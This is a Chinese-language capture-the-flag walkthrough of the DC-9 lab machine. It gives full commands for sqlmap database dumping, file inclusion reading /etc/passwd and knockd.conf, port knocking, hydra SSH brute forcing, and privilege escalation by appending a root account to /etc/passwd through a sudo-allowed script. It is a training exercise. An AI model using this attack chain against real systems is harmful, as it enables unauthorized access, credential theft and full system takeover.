DC-9
信息搜集
探测局域网内存活主机
nmap -sP 192.168.19.128/24
发现主机192.168.19.138,扫描开放端口
nmap -p- 192.168.19.138
发现只有80端口开放.
访问发现是一个员工信息管理系统.
渗透
用whatweb扫描查看网站信息,发现啥也没有.
发现在search页面中存在搜索框可以查询员工信息.
尝试使用sqlmap进行sql注入,截取http报文存到http文件中.
sqlmap -r http --dbs
得到了如下的三个数据库
[*] information_schema
[*] Staff
[*] users
我们尝试爆破Staff数据库
sqlmap -r http -D Staff --tables
得到了StaffDetails和Users两个表.尝试去爆破Users表
sqlmap -r http -D Staff -T Users --columns
其中有Username,UserID,Password这三个列.
sqlmap -r http -D Staff -T Users -C 'Username,Password' --dump
得到了Username=admin,Password=856f5de590ef37314e7c3bdf6f8a66dc.这个Password实际是哈希加密后的结果,但是使用cmd5去破解收费.我们使用somd5得到结果为transorbital1.
再去爆破users数据库.
sqlmap -r http -D users --tables
只有一个表UserDetails.继续爆这个表
sqlmap -r http -D users -T UserDetails --columns
sqlmap -r http -D users -T UserDetails -C 'username,firstname,lastname,password' --dump
这些用户不知道是干啥的,先放在这.
我们切换到manage.php使用admin去进行登录,发现多了一个addrecord界面,可以往里写入员工信息.还发现了一个抽象的问题
这个File does not exits是咋回事???猜测存在文件包含漏洞.尝试传入参数?file=../../../../etc/passwd
发现显示出了文件内容(绝对路径不好使).
这里面出现了很多熟人啊,有理由认为可以使用这些用户可以去进行登录.然而在之前中的扫描中却并没有开放啊ssh端口.
这里存在一个knockd服务.端口敲门服务,即:knockd服务.该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,使系统开启需要访问的服务端口,才能对外访问.不使用时,再使用自定义的序列号来"关门",将端口关闭,不对外监听.进一步提升了服务和系统的安全性.
knockd服务的默认配置地址为/etc/knockd.conf,我们先通过文件包含来查看内容.
[options] UseSyslog [openSSH] sequence = 7469,8475,9842 seq_timeout = 25 command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn [closeSSH] sequence = 9842,8475,7469 seq_timeout = 25 command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn
可以看到,需要我们敲7469,8475,9842来实现开门.反过来就会关门.我们使用kali下的knock,然后再去查看开放的端口
knock 192.168.19.138 7469 8475 9842
nmap -p- 192.168.19.138
此时22ssh端口已经打开.将之前爆出来的账号和密码写入文件中,然后使用hydra去进行爆破
hydra -L username -P password 192.168.19.138 ssh -s 22
发现存在如下的三个用户
[22][ssh] host: 192.168.19.138 login: chandlerb password: UrAG0D!
[22][ssh] host: 192.168.19.138 login: joeyt password: Passw0rd
[22][ssh] host: 192.168.19.138 login: janitor password: Ilovepeepee
登录查看chandlerb和joeyt的home,发现没啥东西,在janitor的home发现了一个.secrets-for-putin
跟进发现有一个文件passwords-found-on-post-it-notes.txt
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts
猜测这是记录的部分密码.将其写入password,使用hydra去爆破ssh,得到如下账户密码.
[22][ssh] host: 192.168.19.138 login: fredf password: B4-Tru3-001
[22][ssh] host: 192.168.19.138 login: joeyt password: Passw0rd
切换到fredf用户,使用sudo -l查看权限
尝试运行这个文件,提示
Usage: python test.py read append
我们在目录中搜索test.py
find / -name 'test.py' 2>/dev/null
找到了文件/opt/devstuff/test.py
查看文件内容如下
#!/usr/bin/python
import sys
if len (sys.argv) != 3 :
print ("Usage: python test.py read append")
sys.exit (1)
else :
f = open(sys.argv[1], "r")
output = (f.read())
f = open(sys.argv[2], "a")
f.write(output)
f.close()
可以看到这个脚本的作用是将命令行参数中的第一个文件追加到第二个文件的后面.那么刚才那个test文件估计是这个python脚本编译后pyc脚本.
此时想到,可以向/etc/passwd中写入一个用户.
lbz::0:0:root:/root:/bin/bash,然而测试后发现不好使,不允许密码为空.
我们选择字符串password,使用openssl进行md5加密
openssl passwd -1 -salt salt password
openssl是一个用于生成哈希值的工具.passwd代表生成密码.-1代表使用md5进行加密.-salt代表盐值,为字符串salt,password为我们要进行加密的字符串.
得到结果$1$salt$qJH7.N4xYta3aEG/dfqo/0
,拼接后为lbz:$1$salt$qJH7.N4xYta3aEG/dfqo/0:0:0:root:/root:/bin/bash
然后将这个字符串写入evil文件,然后执行命令
sudo /opt/devstuff/dist/test/test evil /etc/passwd
然后su root即可切换到root用户,在root home读取flag
这也是DC系列的最后一题.
标签:http,22,--,DC,19.138,192.168,password From: https://www.cnblogs.com/merak-lbz/p/18333218